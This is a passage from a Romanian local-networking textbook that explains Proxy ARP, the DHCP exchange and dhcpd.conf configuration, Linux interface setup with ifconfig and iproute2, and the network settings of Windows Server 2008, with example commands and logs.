2 diferite. n plus, n tabela ARP a staiei A1, a interfeei e0, a interfeei e1 i a staiei B1 a fost
adugat cte o nregistrare
Cum are loc comunicaia ntre staii aflate n reele diferite dac nu s-a precizat adresa
routerului implicit?
Pentru sistemele de operare ce ruleaz la nivelul staiilor, lipsa adresei routerului implicit
echivaleaz cu limitarea comunicaiei la reeaua local. Pe de alt parte, n cazul routerelor ce
au ca interfa de ieire o reea de tip multiacces (de exemplu Ethernet), dar nu au precizat i
adresa urmtorului router trebuie cutat un alt mecanism pentru a asigura ieirea din reeaua
local. Un caz similar este i cel al unor dispozitive dedicate ce ruleaz sisteme de operare
monolitice, cu implementri pariale ale stivei TCP/IP datorit resurselor hardware mult mai
limitate dect n cazul calculatoarelor personale (de exemplu maini de marcat, automate de
cafea, etc.). Att pentru rute incomplet specificate, ct i pentru implementri pariale ale
stivei TCP/IP nu va mai exista diferen ntre comunicaia ntre noduri din aceai reea local i
104 | R e e l e L o c a l e

comunicaia ntre noduri aflate n reele diferite. Staiile nu vor mai avea nevoie dect de
precizarea adresei IP, pentru orice adres IP destinaie urmnd s iniieze o cerere ARP.
Soluia se bazeaz pe rularea la nivelul routerului de ieire din reeaua local a serviciului
de proxy ARP.
Proxy ARP este o extensie a protocolului de rezoluie a adresei. Pornind de la faptul c
routerul nu va transfera pachetele de difuzare, Proxy ARP va determina routerul s rspund
la toate cererile ARP destinate unor adrese n afara reelei cu adresa MAC a interfeei
conectate n acea reea.
Este important de subliniat c, dei pentru o adres IP dat nu poate exista mai mult de o
singur intrare n tabela ARP, mai multe adrese IP pot fi asociate cu o singur adres MAC,
acest fapt fcnd posibil funcionarea comunicaiei prin Proxy ARP.
n topologia folosit anterior, pentru a permite comunicaia ntre A1 i B1 folosind proxy
ARP, testul de apartenen n aceai reea nu mai poate fi fcut la nivelul staiei, deoarece
aceasta nu mai are disponibil o masc de reea. A1 va iniia un cadru de cerere ARP, ce va
avea ca adres IP destinaie B1 (i nu adresa IP a interfeei e0). Cererea va ajunge la toate
staiile conectate n reeaua local, dar A2 i A3 o vor ignora nerecunoscnd adresa IP
destinaie. Routerul n schimb, rulnd proxy ARP, va testa mai nti dac cererea ARP este
destinat unei staii aflate n afara reelei din care provine. Testul va folosi masca i adresa
interfeei pe care a fost primit cererea, precum i adresa IP destinaie. Cum
IP(B1)&masc(e0) este diferit de IP(e0)&masc(e0), routerul va decide c destinaia se afl n
alt reea. n acest caz routerul va trimite cadrul de rspuns ARP folosind ca adres surs de
nivel reea adresa destinaiei finale (n cazul de fa adresa lui B1 - 24.8.17.2), i adresa de
MAC a interfeei de ieire din reea, adic 00.48.0C.18.7A.A2. Totodat, routerul i va aduga
n tabela ARP a interfeei e0 corespondena ntre 0C.18.7A.11.71.11 i 193.23.1.4, iar A1 i va
aduga n tabela ARP intrarea ce asociaz 00.48.0C.18.7A.A2 cu 24.8.17.2.
Cadrul de date va fi ncapsulat apoi folosind tabela ARP, preciznd ca adres IP destinaie
24.8.17.2, iar ca adres MAC destinaie 00.48.0C.18.7A.A2, exact ca i n cazul folosirii unui
router implicit.
Router implicit vs. Proxy ARP?
Spre deosebire de Proxy ARP, n care cererea ARP este adresat staiei destinaie, n cazul
precizrii routerului implicit cererea ARP este adresat direct routerului. n cazul proxy ARP
staiile se comport ca i cum toate destinaiile s-ar afla n reeaua lor local, avnd ca adres
MAC adresa routerului. Aceasta nseamn c dac o staie vrea s transmit ctre trei staii
aflate n reele diferite, staia surs va emite trei cereri ARP (cte una pentru fiecare). Cererile
vor fi interceptate i li se va rspunde de ctre router; aceasta duce la o cretere a traficului,
precum i a dimensiunii tabelei ARP de la nivelul staiei. n cazul default gateway staia surs
va testa apartenena destinaiilor la reeaua proprie i n cazul n care observ c ele fac parte
din alt reea, staia surs nu va trimite cereri ARP direct ctre ele ci vor folosi adresa MAC a
routerului implicit (pe care o pot afla trimind o singur cerere ARP). Proxy ARP ncarc
routerul, care trebuie s rspund la cererile ARP destinate staiilor din afara reelei;
precizarea routerului implicit ncarc staiile, care trebuie s testeze apartenena staiilor
destinaie la reeaua local.
Dei pare fireasc ntrebarea care dintre cele dou metode este mai bun, n reelele
locale competiia s-a ncheiat n favoarea metodei bazate pe folosirea routerului implicit.
Staiile de lucru au devenit foarte puternice n decursul ultimilor 15 ani, astfel nct
distribuirea la nivelul staiilor a testului de apartenen a sursei i destinaiei la acelai LAN
aduce acestora o ncrcare nesemnificativ, elibernd routerul de procesul decizional asociat
cu Proxy ARP.
105 | A d r e s a r e a I P

Pe de alt parte, ncrcarea routerului la rularea Proxy ARP nu este semnificativ, mai ales
pentru un router ce conecteaz o reea local. Din acest motiv majoritatea routerelor (toate
routerele CISCO spre exemplu) vor avea activat implicit Proxy ARP.
n cazul unei reele locale cu mai mult de o singur ieire de Internet, precizarea routerului
implicit ofer un control mult mai strict al staiilor, i permite implementarea balansrii pe
baz de surs a traficului.
Dac s-ar analiza strict doar cele dou protocoale, concluzia ar fi c n cazul n care staiile
comunic preponderent cu alte staii din cadrul aceleai reele locale comunicaia bazat pe
folosirea routerului implicit va fi lent, datorit testului suplimentar, n vreme ce pentru cazul
unei reele n care majoritatea traficului prsete reeaua local Proxy ARP va emite cte o
cerere ARP pentru fiecare adres destinaie diferit.
3.1.8 DHCP
DHCP (Dynamic Host Configuration Protocol) este un protocol client-server prin
intermediul cruia serverul furnizeaz staiei client parametrii de configurare necesari
funcionrii ntr-o reea. DHCP ofer, de asemenea, posibilitatea controlului accesului la
reeaua local (pe criteriul adresei fizice), precum i mobilitate, mutarea dintr-o reea n alta
fiind posibil fr reconfigurarea manual a gazdei.
DHCP furnizeaz un mecanism prin care serverul atribuie adrese IP clienilor. Exist trei
modaliti de alocare a adreselor IP: alocare dinamic, manual sau automat.
Alocarea dinamic presupune definirea unui set de adrese IP. Adresele IP alocate sunt
nlturate din mulimea adreselor disponibile, dar n momentul expirrii perioadei de
nchiriere (dac nu este prelungit contractul de nchiriere) acestea se pot ntoarce n zona
adreselor disponibile pentru ca apoi s fie alocate unui alt nod de reea. Perioada de nchiriere
a adreselor IP variaz n funcie de implementarea serverului de DHCP, valori uzuale fiind 24
sau 192 de ore.
Alocarea manual presupune definirea pe server de asocieri ntre adrese MAC i adrese
IP. La primirea unei cereri DHCP, adresa MAC surs va fi cutat n lista de asocieri. Dac nu
exist o asociere definit, n funcie de configuraie, serverul poate ignora cererea, sau poate
trece n modul de alocare dinamic. Alocarea manual permite administratorului
implementarea unor politici de control al accesului la reea, fiind una dintre primele
recomandri de securizare a reelei locale. n acelai timp, permite un grad de flexibilitate
ridicat n cazul schimbrilor de topologie precum apariia unui nou server de DHCP sau
schimbarea routerului de ieire din reeaua local (default gateway).
Alocarea automat mbin simplitatea de configurare a alocrii dinamice (trebuie doar
definit setul de adrese IP disponibile, i nu o list de asocieri MAC-IP) cu avantajele de
securitate ale alocrii statice: n cazul unui reele cu numr de adrese disponibile egal cu cel al
staiilor o nou staie nu va putea primi parametrii de reea, deoarece o adres IP alocat nu
se mai ntoarce n mulimea adreselor disponibile dect la restartarea serviciului de DHCP.
Funcionnd n reeaua local, DHCP nu necesit un serviciu orientat pe conexiune care s
ofere controlul traficului, detectarea i rectificarea erorilor sau secvenierea corect a datelor.
Un astfel de serviciu (TCP) ar introduce ncrcare i ntrzieri nejustificate. De aceea, se
folosesc datagrame UDP, pe portul 67 pentru server i pe portul 68 pentru client.
Conversaia dintre client i server const n urmtorii pai:
1. La pornire, staia client DHCP trimite cereri pentru iniierea comunicaiei cu serverele DHCP.
Aceste cereri sunt trimise prin intermediul mesajelor BROADCAST de tip DHCPDISCOVER.
2. La primirea cererilor, serverul determin dac o poate onora. n caz afirmativ, serverul
rspunde cu mesaj UNICAST de tip DHCPOFFER, care poate include adresa IP, masca de reea,
106 | R e e l e L o c a l e

adresa gateway, adresa serverului de nume, precum i perioada de valabilitate. n caz negativ,
cererea poate fi transmis mai departe, ctre un alt server DHCP (DHCP relay).
3. Dac oferta este acceptat de ctre client, acesta va trimite un mesaj BROADCAST de tip
DHCPREQUEST, n care sunt cerui parametrii respectivi. Se trimite un mesaj de tip
BROADCAST i nu unul de tip UNICAST pentru a stabili care server a fost ales, n cazul n care
DHCPDISCOVER a ajuns la mai multe servere. n implementrile uzuale ale DHCP, staia ncepe
s foloseasc adresa IP alocat, dei procesul de confirmare nc nu s-a ncheiat.
4. Serverul ales trimite un mesaj de confirmare UNICAST, de tip DHCPACK. n cazul n care adresa
a fost alocat pn la primirea DHCPREQUEST, serverul va trimite un mesaj DHCPNACK,
procesul relundu-se de la pasul 1.
3.2 Definirea parametrilor de reea n Linux
3.2.1 Configurarea temporar
Linux pune la dispoziie dou utilitare pentru configurarea interfeelor de reea,
configurare ce se va pierde dup repornirea sistemului. Primul dintre acestea este ifconfig.
Prezent pe toate platformele Unix, acest utilitar permite stabilirea adresei IP, a mtii de reea,
precum i a adresei de difuzare.
n exemplul de mai jos este prezentat folosirea comenzii fr precizarea explicit a mtii
de reea. n acest caz va fi configurat masca de reea a clasei din care face parte adresa,
pentru exemplul de fa 255.255.255.0, precum i adresa de difuzare 192.1.3.255.
# ifconfig eth0 192.1.3.2
Dac se dorete atribuirea adresei 192.1.3.1/26 vor trebui precizate explicit att masca de
reea, ct i adresa de difuzare:
# ifconfig eth0 192.1.3.1 netmask 255.255.255.252 broadcast 192.1.3.63
Comanda ifconfig mai poate fi folosit att pentru inspectarea configuraiilor curente de
reea, a parametrilor de funcionare: MTU, numr de pachete trimise, numr de pachete
primite, etc
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:0A:95:E2:04:D4
inet addr:10.38.252.237 Bcast:10.38.255.255 Mask:255.255.0.0
inet6 addr: fe80::20a:95ff:fee2:4d4/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:553119 errors:0 dropped:0 overruns:0 frame:0
TX packets:904848 errors:0 dropped:0 overruns:0 carrier:0
[...]
Pentru fiecare interfa fizic de reea pot fi definite mai multe interfee logice, denumite
subinterfee. Din punct de vedere logic, fiecare subinterfa a unui router reprezint o
interfa distinct. Din acest motiv dou subinterfee nu pot avea adrese IP din aceeai
subreea. n exemplul de mai jos sunt definite adresa IP, masca de reea i adresa de difuzare
pentru interfaa eth0:1, adic pentru una dintre subinterfeele interfeei eth0:
# ifconfig eth0:1 42.1.3.1 netmask 255.255.0.0 broadcast 42.1.255.255
Toi parametrii de reea se reseteaz la oprirea interfeei ce poate fi fcut specific pentru
o interfa sau prin repornirea serviciului de reea, cea ce duce la reiniializarea tuturor
interfeelor de reea. Configuraiile temporare de reea se vor pierde n cazul dezactivrii
interfeei. n cazul unei subinterfee dezactivarea este echivalent cu tergerea sa.
# ifconfig eth0:1 down
# /etc/init.d/rc.d/networking restart
ncepnd de la versiunea de kernel 2.2 a aprut un pachet de utilitare pentru manipularea
configurrilor de reea, cunoscut sub numele iproute. Ajuns la cea de a doua versiune
107 | A d r e s a r e a I P

(iproute2), el reprezint o alternativ puternic, permind realizarea de setri foarte
sofisticate.
Pentru configurarea parametrilor de reea se folosete utilitarul ip addr, parte a
pachetului iproute. n cazul apelrii comenzii doar cu adresa IP, va fi configurat masca
255.255.255.255, altfel spus prefixul de reea /32:
# ip addr add dev eth0 192.168.38.11
# ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff
inet 192.168.38.11/32 scope global eth0
Astfel, pentru configurarea unui interfee este necesar precizarea adresei IP, a prefixului
de reea, precum i a adresei de difuzare:
# ip addr add dev eth0 192.168.38.11/24 broadcast 192.168.38.255
# ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff
inet 192.168.38.11/24 brd 192.168.38.255 scope global eth0
Pentru a defini configuraii pentru subinterfee este folosit opiunea label. Din motive
de compatibilitate, se recomand ca numele etichetelor s nceap cu numele interfeei.
Astfel, pentru eth0 etichete valide sunt: eth00, eth0.0, eth0:0, eth0-test. Pentru c
ifconfig vede etichetele ca pe o interfa virtual, el nu poate rula dect cu cele de tip
interfa:numr.
# ip addr add dev eth0 192.168.38.11/24 broadcast 192.168.38.255 label eth0:0
# ip addr show label eth0:0
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff
inet 192.168.38.11/24 brd 192.168.38.255 scope global eth0:0
Pentru activarea sau dezactivarea unei interfee, sau tergerea configuraiilor logice
asociate cu o subinterfa se folosete un alt utilitar al pachetului iproute2: ip link. De
exemplu, pentru a nchide interfaa eth0 se poate folosi comanda:
ip link set eth0 down
Utilitarul ip link mai poate fi util pentru schimbarea parametrilor de nivel legtur de
date (adres MAC, MTU, etc), precum i la afiarea acestor parametri:
# ip link show
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0a:95:e2:04:d4 brd ff:ff:ff:ff:ff:ff
Pe lng funciile de manipulare a tabelei de rutare i de definire a tunelelor, iproute2
ofer suport i pentru de politici de trafic (traffic shaping).
3.2.2 Configurarea permanent
Pentru configurarea permanent a parametrilor de reea este folosit fiierul
/etc/network/interfaces.
Acest fiier este specific distribuiei Debian (n alte distribuii locaia sa poate fi diferit) i
conine informaiile necesare pentru configurarea interfeelor de reea. Programele care
efectiv utilizeaz acest fiier sunt ifup i ifdown i sunt rulate din /etc/init.d/networking,
script responsabil de configurarea reelei, n procesul de pornire al sistemului de operare.
Pentru definirea static a parametrilor de reea administratorul poate specifica: adresa IP,
masca de reea, adresa default gateway, adresa serverului de nume, etc, sau doar o parte
dintre aceti parametri. De asemenea, pot fi specificate alte aciuni care s fie realizate atunci
cnd interfaa este pornit, respectiv oprit:
auto eth0
108 | R e e l e L o c a l e

iface eth0 inet static
address 192.168.1.3
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 192.168.1.2
up echo $IFACE up
down echo $IFACE down
up route add -host 192.168.38.100 gw 192.168.1.17
n exemplul de mai sus, interfeei eth0 i este atribuit adresa 192.168.1.3/24, adresa
routerului implicit este 192.168.1.1, serverul de DNS 192.168.1.2. La ridicarea (activarea)
interfeei va fi afiat mesajul eth0 up i va fi adugat n tabela de rutare o rut ctre
reeaua 192.168.38.100/32 (reea format dintr-o singur adres) cu urmtorul hop
192.168.1.17.
Pentru obinerea dinamic a parametrilor de reea este editat tot fiierul
/etc/network/interfaces. Spre exemplu, pentru a configura dinamic interfaa eth0:
auto eth0
iface eth0 inet dhcp
Orice modificri permanente vor fi aplicate doar n urma repornirii serviciului de reea:
#/etc/init.d/networking restart
3.3 Configurarea serviciului DHCP pe un server Linux
3.3.1 Instalarea i configurarea serverului DHCP
Serverul DHCP primete cereri de la clienii din reea i furnizeaz acestora parametrii IP
necesari funcionrii corespunztoare.
Pentru instalarea versiunii 3 a serverului se folosete pachetul dhcp3-server. Pachetul
dhcp conine versiunea 2 a serverului de DHCP:
#apt-get install dhcp3-server
Odat configurat, serverul poate fi manipulat prin intermediul scriptului de iniializare:
#/etc/init.d/dhcp {start | stop | reload | force-reload}
sau folosind comanda dhcpd, ca utilizator privilegiat.
Comanda dhcpd permite specificarea altor parametri de funcionare ai serverului, spre
exemplu, numrul portului pe care s primeasc cereri (conform RFC 2131, acesta este 67):
#dhcpd -p NUMAR_PORT
Specificarea altui port dect cel implicit poate fi util n procesul de depanare sau n
securizarea reelei.
Fiierul de configurare al serverului DHCP este /etc/dhcpd.conf. De asemenea, fiierul
/var/lib/dhcp/dhcpd.leases pstreaz baza de date a clienilor DHCP pentru serverul
respectiv.
Fiierul de configurare pstreaz informaii despre clienii din reea. n cadrul lui, pot fi
declarate opiuni globale, aplicabile tuturor clienilor, sau opiuni pentru fiecare client sau
grup de clieni.
Considernd acest aspect, exist dou tipuri de specificaii n cadrul fiierului dhcpd.conf:
parametrii i declaraii.
Declaraiile sunt folosite pentru a descrie topologia reelei sau clienii, i precizeaz
adresele care pot fi atribuite clienilor. Exist patru tipuri de declaraii care contureaz
topologia reelei: host, goup, subnet i shared-network.
109 | A d r e s a r e a I P

Declaraia host este folosit atunci cnd se dorete specificarea parametrilor de
funcionare pentru o anumit gazd (de exemplu, alocarea static a adresei IP, n funcie de
adresa MAC).
Declaraia group folosit atunci cnd se dorete gruparea mai multor clieni specificai cu
declaraia host. Aceti clieni vor avea un set comun de parametri.
Declaraia subnet trebuie fcut pentru fiecare subreea deservit de serverul de DHCP.
Declaraia shared-network este folosit n cazul n care exist mai multe subreele
declarate cu subnet, care vor avea un set comun de parametri de configurare.
Atunci cnd serverul DHCP primete o cerere, va consulta mai nti declaraia host a
clientului (dac exist), dup care declaraia group (dac exist), apoi declaraia subnet
pentru subreeaua din care a venit cererea. Urmeaz declaraia shared-network, n final fiind
consultai parametrii globali.
Parametrii precizeaz dac trebuie realizat o aciune (de exemplu, dac serverul DHCP
trebuie s furnizeze adresa unui client neidentificat), cum trebuie realizat o aciune (de
exemplu, ct timp un client poate pstra o anumit adres IP) sau parametrii de configurare
care trebuie furnizai clientului (de exemplu, specificarea serverului DNS care va fi folosit).
n cadrul parametrilor, pot exista opiuni. Opiunile sunt parametri facultativi specificai
folosind cuvntul cheie option. Restul parametrilor fie specific modul de funcionare al
serverului, fie sunt obligatorii, conform protocolului DHCP .
Mai jos sunt prezentai civa parametri des ntlnii n configurarea DHCP:
group{
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option domain-name-server 141.87.37.2;
}
option domain-name-servers ADRESA [, ADRESA1 ...]: specific serverul
(serverele) de nume pe care le va folosi clientul;
option subnet-mask MASCA_DE_RETEA: masca de reea care va fi furnizat clienilor;
option broadcast-address ADRESA: adresa de broadcast furnizat clienilor;
option routers ADRESA: adresa default a gateway-ului;
host gazda1{
hardware ethernet 00:02:55:F3:12:F0;
fixed-address 192.168.1.3;
}
hardware HARDWARE-TYPE HARDWARE-ADDRESS: parametru folosit pentru recunoaterea
clienilor;
HARDWARE-TYPE: implementate Ethernet i Token-Ring (nu mai e folosit).
fixed-address ADRESA [, ADRESA1 ...]: parametru folosit pentru atribuirea static a
uneia sau mai multor adrese IP.
subnet 192.168.1.0 netmask 255.255.255.0{
[parametri]
range 192.168.1.3 192.168.1.34;
}
range ADRESA1 ADRESA2: intervalul din care vor fi atribuite dinamic adrese IP clienilor,
pentru o anumit subreea:
allow unknown-clients
deny unknown-clients
allow/deny: controleaz comportamentul serverului DHCP n cazul n care primete cereri de
la clieni necunoscui.
Un fiier de configurare poate avea structura urmtoare:
shared-network reteaua1{
[parametri de retea]
110 | R e e l e L o c a l e


group{
[parametri de grup]

subnet ADRESA1 netmask MASCA1{
[parametri de subretea]
}
subnet ADRESA2 netmask MASCA2{
[parametri de subretea]
}

host NUME{
[parametri de host]
}
}

host NUME1{
[parametri de host]
}
}
Fiierul poate conine spaii, linii goale sau tab-uri adiionale pentru formatare. Sintaxa
este case-insensitive, comentariile ncepnd cu # i sfrindu-se cu linie nou.
Schimbrile fcute fiierului de configurare vor avea efect dup restartarea serverului:
/etc/init.d/dhcp restart
Un alt fiier pentru configurarea serverului DHCP este /etc/default/dhcp. Aici pot fi
specificate, de exemplu, interfeele pe care serverul s asculte cereri DHCP (folosind declaraia
INTERFACES).
3.3.2 DHCP Relay
DHCP Relay permite transmiterea cererilor DHCP dintr-o subreea n care nu exist server
DHCP ctre unul sau mai multe servere DHCP din alte subreele.
Pentru instalare, este necesar pachetul dhcp-relay:
apt-get install dhcp-relay
Agentul DHCP poate fi configurat la pornire, prin parametrii transmii comenzii dhcrelay,
sau prin intermediul fiierului /etc/default/dhcp-relay.
n acest fiier se pot specifica:
interfeele pe care agentul s primeasc cereri DHCP: declaraia INTERFACES;
serverele DHCP ctre care s fie trimise cererile DHCP primite: declaraia DHCP_SERVERS.
3.3.3 Exemplu de configurare DHCP
Este prezentat n continuare un exemplu de configurare DHCP.
Serverul (staia MPLS4) are dou plci de reea, fiecare dintre acestea fcnd parte dintr-o
subreea, i va furniza adrese IP gazdelor din subreeaua 192.168.1.0/24 din intervalul
192.168.1.10 - 192.168.1.20, iar gazdelor din subreeaua 10.16.200.0/24 din intervalul
10.16.200.5-10.16.200.150.
Dou din staiile din reea (MPLS2 i MPLS3) vor obine adrese IP i parametri de
configurare, prima n mod dinamic, iar cea de-a doua n mod static.
Interfeele serverului DHCP sunt configurate astfel:
root@MPLS4:/etc# cat network/interfaces
auto lo
iface lo inet loopback
# Prima interfata
auto eth0
iface eth0 inet static
name Ethernet LAN card
address 192.168.1.1
broadcast 192.168.1.255
netmask 255.255.255.0
network 192.168.1.0
# A doua interfata
auto eth1
111 | A d r e s a r e a I P

iface eth1 inet static
name Ethernet LAN card
address 10.16.200.1
broadcast 10.16.200.255
netmask 255.255.255.0
network 10.16.200.0
Fiierul de configurare al serverului este:
root@MPLS4:/etc# cat dhcpd.conf
option domain-name "test.ro";
option domain-name-servers 192.168.1.1;
option subnet-mask 255.255.255.0;
default-lease-time 600;
max-lease-time 7200;
# Grupul celor doua subretele
# Au in comun timpii de valabilitate
group{
# Timpul default de valabilitate pentru acest grup
default-lease-time 2000;

# Timpul maxim de valabilitate pentru acest grup
max-lease-time 8000;

# Prima subretea
subnet 192.168.1.0 netmask 255.255.255.0{
option routers 192.168.1.1;
option broadcast-address 192.168.1.255;
range 192.168.1.10 192.168.1.20;
}

# A doua subretea
subnet 10.16.200.0 netmask 255.255.255.0{
option routers 10.16.200.1;
option broadcast-address 10.16.200.255;
range 10.16.200.5 10.16.200.150;
}
# Gazda configurata static
host gazda1{
hardware ethernet 00:02:55:F3:12:F0;
fixed-address 192.168.1.3;
}
}
Cele dou staii date ca exemplu sunt configurate dup cum urmeaz:
root@MPLS-2:/etc/network# cat interfaces
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet dhcp
name Ethernet LAN card

root@MPLS3:/etc# cat /etc/network/interfaces
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet dhcp
name Ethernet LAN card
La pornirea staiilor, sau cnd este repornit serviciul de reea, acestea vor iniia o
conversaie cu serverul DHCP n urma creia vor obine adresele IP i parametrii de
configurare.
root@MPLS3:/etc# /etc/init.d/networking restart
Setting up IP spoofing protection: rp_filter.
Reconfiguring network interfaces...ifup: interface lo already configured
Internet Software Consortium DHCP Client 2.0pl5
[...]
Listening on LPF/eth0/00:02:55:f3:12:f0
Sending on LPF/eth0/00:02:55:f3:12:f0
Sending on Socket/fallback/fallback-net
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPNAK from 192.168.1.1
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
DHCPOFFER from 192.168.1.1
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 192.168.1.1
bound to 192.168.1.3 - renewal in 1000 seconds.
done.
112 | R e e l e L o c a l e

n cazul staiei MPLS3 se observ c a fost atribuit adresa 192.168.1.3, deoarece aceast
staie are adresa fizic 00:02:55:f3:12:f0, specificat cu parametrul host n fiierul de
configurare al serverului.
root@MPLS-2:/etc/network# /etc/init.d/networking restart
Setting up IP spoofing protection: rp_filter.
Reconfiguring network interfaces...
ifup: interface lo already configured
[...]
Listening on LPF/eth0/00:02:55:f3:0c:02
Sending on LPF/eth0/00:02:55:f3:0c:02
Sending on Socket/fallback/fallback-net
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPNAK from 192.168.1.1
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 5
DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 7
DHCPOFFER from 192.168.1.1
DHCPREQUEST on eth0 to 255.255.255.255 port 67
DHCPACK from 192.168.1.1
bound to 192.168.1.11 - renewal in 1000 seconds.
done.
n cazul staiei MPLS2 adresa atribuit este urmtoarea adres liber din intervalul de
adrese specificat, respectiv 192.168.1.11 .
3.4 Configurarea adreselor de reea n Windows Server 2008
Windows Server 2008 prezint dou zone principale n care este posibil configurarea
parametrilor de reea: Network and Sharing Center i Network Connections.
3.4.1 Network and Sharing Center
Network and Sharing Center reprezint principalul utilitar de configurare a reelei n
Windows Server 2008. El poate fi accesat n unul dintre urmtoarele moduri:
Din meniul Start, clic dreapta pe Network i se selecteaz Properties;
n System Tray (denumit i Notification Area), dac este afiat pictograma de conectivitate la
reea, printr-un clic pe aceasta urmat de selecia opiunii Network and Sharing Center din
meniu;
Din Control Panel, accesnd Network and Internet urmat de Network and Sharing Center (sau
direct accesnd Network and Sharing Center pentru Control Panel n modul Classic View).

113 | A d r e s a r e a I P


3-11: Network and Sharing Center n Windows Server 2008
Att n cazul reelelor cablate ct i pentru cele wireless, Network and Sharing Center
atribuie una dintre cele trei locaii posibile: public, private i domain. Aceste locaii reprezint
parametri ce sunt setai pentru orice calculator ce ruleaz Windows Vista sau Windows Server
2008, fiecare configurndu-i apartenena la reea printr-una dintre cele trei locaii. Diferite
proprieti ale reelei pot fi activate sau dezactivate automat n funcie de tipul ei.
Implicit, toi clienii sunt membri ai unei locaii de tip public. Pentru un astfel de calculator,
Windows Firewall este activ, serviciul de Network Discovery este oprit, partajarea fiierelor i a
imprimantei este dezactivat iar generarea unei hri a reelei (Network Map) este
indisponibil.
Cnd un calculator este asignat unei locaii de tip private serviciul de Nework Discovery i
Network Map sunt activate. Partajarea fiierelor este oprit, dar, spre deosebire de locaia
public, partajarea poate fi activat individual i independent pe fiecare calculator.
Dac un calculator devine membru al unui domeniu Active Directory, el este automat
inclus n locaia de tip domain. Membrii acestei locaii beneficiaz de aproximativ aceeai
configuraie ca i cei din tipul de locatie private, cu excepia c parametrii Windows Firewall,
Network Discovery i Network Map sunt determinate de politicile de grup ale domeniului
(Group Policy Settings).
114 | R e e l e L o c a l e


3-12: Exemplu de Network Map
O schi a reelei (Network Map) permite afiarea n mod grafic a echipamentelor
conectate la reeaua local i a modului n care acestea sunt interconectate, precum i
legtura la Internet.
Pentru ca un Network Map s poat fi generat sunt necesare dou componente n reea:
Link Layer Topology Discovery (LLTD) Mapper este componenta care interogheaz celelalte
dispozitive din reea i care generaz Network Map-ul.
LLTD Responder este componenta interogat, care rspunde cererilor venite de la LLTD
Mapper

Cele dou componente sunt instalate implicit doar pe Windows Vista i Windows Server
2008, dar este posibil instalarea unui LLTD Responder i pe un calculator ce ruleaz Windows
XP, permindu-i acestuia s fie vzut de ctre un LLTD Mapper din reea ce genereaz un
Network Map.
Alte opiuni disponibile n Network and Sharing Center:
Network Discovery: Permite calculatorului propriu s poat localiza alte calculatoare din reea
i s poat fi localizat, la rndul su. Opiunea poate fi setat pe On, Off sau poate avea
valoarea Custom, spre exemplul n situaia n care Network Discovery este activ dar firewall-ul
nu deine o regul pentru a permite funcionarea sa n reea.
File Sharing: Partajarea fiierelor creeaz automat o permisiune n firewall pentru ca
protocolul s poat funciona. Activarea File Sharing-ului permite utilizatorilor s partajeze
fiierele din propriul profil, adic din %systemroot%\Users\%username%. Administratorii de
sistem pot partaja orice fiier din calculator.
Public Folder Sharing: n directorul de profil al fiecrui utilizator exist un subdirector numit
Public care este automat partajat n momentul activrii acestei opiuni. La activarea Public
Folder Sharing este activat automat i opiunea de File Sharing.
Printer Sharing: Opiunea ofer posibilitatea de partajare a accesului la imprimantele instalate
local, pentru a putea fi folosite de orice alt calculator din reea. De asemena, activarea aceste
opiuni are ca efect i activarea opiunii de File Sharing.
Password Protected Sharing: Opiunea este disponibil doar pe sistemele care nu sunt
membre ale unui domeniu. n momentul activrii sale, accesul la resursele locale partajate este
restricionat doar pentru cei care au un cont valid de utilizator pe calculatorul gazd.
3.4.2 Network Connections
Windows Server 2008 detecteaz i configureaz automat conexiunile asociate interfeelor
de reea din sistem. Aceste conexiuni sunt listate n Network Connections, alturi de alte
conexiuni configurate manual, cum ar fi cele de tip dial-up, VPN-uri sau conexiuni de tip
PPPoE.
Network Connections poate fi accesat n mai multe moduri:
Din Server Manager, clic pe View Network Connections;
115 | A d r e s a r e a I P

Din fereastra Initial Configuration Tasks (afiat de la prima lansare a sistemului, dup
instalare), clic pe Configure Networking;
Din interfaa Network and Sharing Center, clic pe Manage Network Connections;
De la meniul Start, scriind comanda ncpa.cpl sau control netconnections fie n cmpul
de Search, fie la Run.

Conexiunile n sine nu permit calculatoarelor s comunice printr-o reea. n realitate,
clienii, serviciile i protocoalele n contextul conexiunilor sunt cele care permit comunicaia
ntre dou sau mai multe staii. n fereastra de proprieti a conexiunilor sunt afiai clienii,
protocoalele i serviciile ataate acelei conexiuni. Una dintre modalitile de a afia
proprietile unei conexiuni este din Network Connections, prin clic dreapta pe una dintre
conexiuni i apoi clic pe Properties, din meniu. De asemenea, se poate ajunge aici i din
Network and Sharing Center, prin clic pe View Status i apoi pe Properties, n dreptul
conexiunii dorite.
Elementele bifate indic componente ce sunt ataate conexiunii respective:


3-13: Fereastra de proprieti ale unei conexiuni
Network Clients: ntr-o reea Windows, clienii sunt componente software care permit unei
staii s se conecteze cu un anumit sistem de operare din reea. Implicit, singurul client
disponibil pentru toate conexiunile locale este Client for Microsoft Networks. Acesta permite
calculatoarelor ce ruleaz Windows s se conecteze i s partajeze resurse ntre ele.
Network Services: Serviciile sunt componente software ce ofer funcionaliti suplimentare
conexiunilor. File and Printer Sharing for Microsoft Networks i QoS Packet Scheduler sunt dou
